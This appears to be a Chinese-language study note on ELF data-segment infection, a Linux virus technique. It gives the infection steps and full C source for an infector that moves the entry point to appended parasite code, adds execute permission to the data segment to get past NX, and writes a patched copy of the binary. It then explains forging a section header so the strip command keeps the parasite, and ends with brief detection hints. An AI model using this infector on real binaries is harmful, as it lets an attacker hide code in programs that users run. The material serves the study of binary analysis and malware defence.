[TOC]
学习这项技术前,我们带着以下几个问题来学习
这种感染方式和text段感染的理念是一样的,就是通过将寄生代码注入到段中,作为段的一部分,并且将入口点修改为寄生代码的位置,在寄生代码执行完成后再返回原始入口位置执行程序的代码。
而且在未进行 NX-bit 设置的系统上,如 32 位的 Linux 系统,可以在不改变 data段权限的情况下执行 data 段中的代码(即使段权限为可读+可写)
我们是对data段进行感染,那么我们需要一些关于data段的前置知识:
1.data段的结尾是.bss节,这是一个在磁盘上不占空间的节,存放的使一些未初始化变量,只有到了内存中才会被分配空间,存放初始化后的数据。这里我们将寄生代码注入到data段的尾部,.bss节的前面
2.data段一般位于最后一个段,所以没有别的段需要更改偏移
我们的修改从ELF文件头部到尾部
将 ehdr->e_entry 入口点指向寄生代码所在的位置,也就是data段的尾部,即文件基地址+data段的文件偏移
将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置,会因为寄生代码的注入而被向后移动)。
定位到data段,修改段的大小,增加寄生代码的长度
修改.bss节以及后面节的偏移地址,原因和节头表的原因一样,都是因为这些节位于寄生代码之后
(可选)修改data段权限,适用于开启了NX-bit设置对非代码段进行了执行限制的系统
phdr[DATA].p_flags |= PF_X;
(可选)为寄生代码添加一个自定义节头,防止strip命令删除没有节头声明的寄生代码
注入寄生代码
根据上面的感染算法,写出下面的完整代码。
需要注意的是,linux下的程序默认编译时是开启了NX,所以我们需要加上第五步可选步骤的代码:p_hdr[i].p_flags |= PF_X;
来让我们的寄生代码得以执行,如果不给数据段添加执行权限,会报出段错误
的异常
#include <stdio.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <elf.h> #define TMP "test2" int return_entry_start = 1; char parasite[] = "\x68\x00\x00\x00\x00\xc3"; unsigned long entry_point; struct stat st; long bss_addr; int main(int argc, char **argv) { char *host; int parasite_size; int fd, i; Elf64_Ehdr *e_hdr; Elf64_Shdr *s_hdr; Elf64_Phdr *p_hdr; long o_shoff; unsigned char * mem; if(argc < 2) { printf("Usage: %s <elf-host>\n",argv[0]); } host = argv[1]; //检查宿主文件是否正常 if((fd=open(host, O_RDONLY)) == -1) { perror("open"); goto _error; } if((fstat(fd, &st)) < 0) { perror("fstat"); goto _error; } //将宿主文件映射进内存中 mem = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0); printf("[+] Address of %s maps to memory is 0x%X\n", argv[1], mem); printf("[+] Magic field is %c%c%c\n", mem[1],mem[2],mem[3]); if(mem == MAP_FAILED) { perror("mmap"); goto _error; } e_hdr = (Elf64_Ehdr *)mem; //ELF文件检测 if(e_hdr->e_ident[0] != 0x7f && strcmp(&e_hdr->e_ident[1], "ELF")) { printf("%s it not an elf file\n", argv[1]); goto _error; } /** * 2. 将 ehdr->e_shoff 增加寄生代码的长度,(这是因为节头表在最后的位置,会因为寄生代码的注入而被向后移动)。 */ parasite_size = sizeof(parasite); o_shoff = e_hdr->e_shoff; e_hdr->e_shoff += parasite_size; /* * 第1步和第3步: * * 修改文件头入口点 * 修改data段的文件长度和内存长度 * */ p_hdr = (Elf64_Phdr *)(mem + e_hdr->e_phoff); for(i=0; i<e_hdr->e_phnum; i++) { if(p_hdr[i].p_type == PT_LOAD) { if(p_hdr[i].p_offset != 0) { //保存原始.bss开始的位置 bss_addr = p_hdr[i].p_offset + p_hdr[i].p_filesz; printf("[+] Find data segment\n"); entry_point = e_hdr->e_entry; e_hdr->e_entry = p_hdr[i].p_vaddr + p_hdr[i].p_filesz; printf("[+] Data segment file size is 0x%X\n", p_hdr[i].p_filesz); printf("[+] New entry is 0x%X\n", e_hdr->e_entry); p_hdr[i].p_filesz += parasite_size; p_hdr[i].p_memsz += parasite_size; //对抗开启NX(可选项) p_hdr[i].p_flags |= PF_X; } } } /* * 4.调整.bss节 * */ printf("[+] Prepare change after .bss and .bss's section\n"); printf("[+] section header table offset is 0x%X\n", o_shoff); s_hdr = (Elf64_Shdr *)(mem + o_shoff); for(i=0; i<e_hdr->e_shnum; i++) { if(s_hdr[i].sh_offset >= bss_addr) { //printf("[+] Offset of section need to edit is 0x%X\n", s_hdr[i].sh_offset); s_hdr[i].sh_offset += parasite_size; } } /* * 7. 插入寄生代码 * */ mirror_binary_with_parasite(parasite_size, mem, parasite); printf("Data segment infect completed!\n"); _error: munmap(mem, st.st_size); close(fd); return 0; } void mirror_binary_with_parasite(unsigned int psize, unsigned char *mem, char *parasite) { int ofd; int c; printf("Mirroring host binary with parasite %d bytes\n",psize); if((ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC, st.st_mode)) == -1) { perror("tmp binary: open"); goto _error; } //写入到data段结尾的数据 if ((c = write(ofd, mem, bss_addr)) != bss_addr) { printf("failed writing ehdr\n"); goto _error; } printf("Patching parasite to jmp to %lx\n", entry_point); //写入寄生代码 *(unsigned int *)¶site[return_entry_start] = entry_point; if ((c = write(ofd, parasite, psize)) != psize) { perror("writing parasite failed"); goto _error; } mem += bss_addr; if ((c = write(ofd, mem, st.st_size-bss_addr)) != st.st_size-bss_addr) { printf("Failed writing binary, wrote %d bytes\n", c); goto _error; } _error: close(ofd); }
但是如果遇到strip,这个命令会将不存在任何节中的寄生代码给删除掉,这就要用到我们第6步的解决方法,伪造一个节去包含我们的寄生代码,这里我就不用代码实现,手动通过010edit在节头表最后添加一个节,这个节是我按照text节写的,只修改了个偏移值和大小就将寄生代码包含在了这个节中,最后在讲文件头的节头数加1就完成了伪造节的过程
从下面这幅图就可以看出即使再用strip也不能删除寄生代码。
入口点的位置不在代码段
检测运行时程序代码段的权限
本次学习主要掌握:
【1】 Linux二进制分析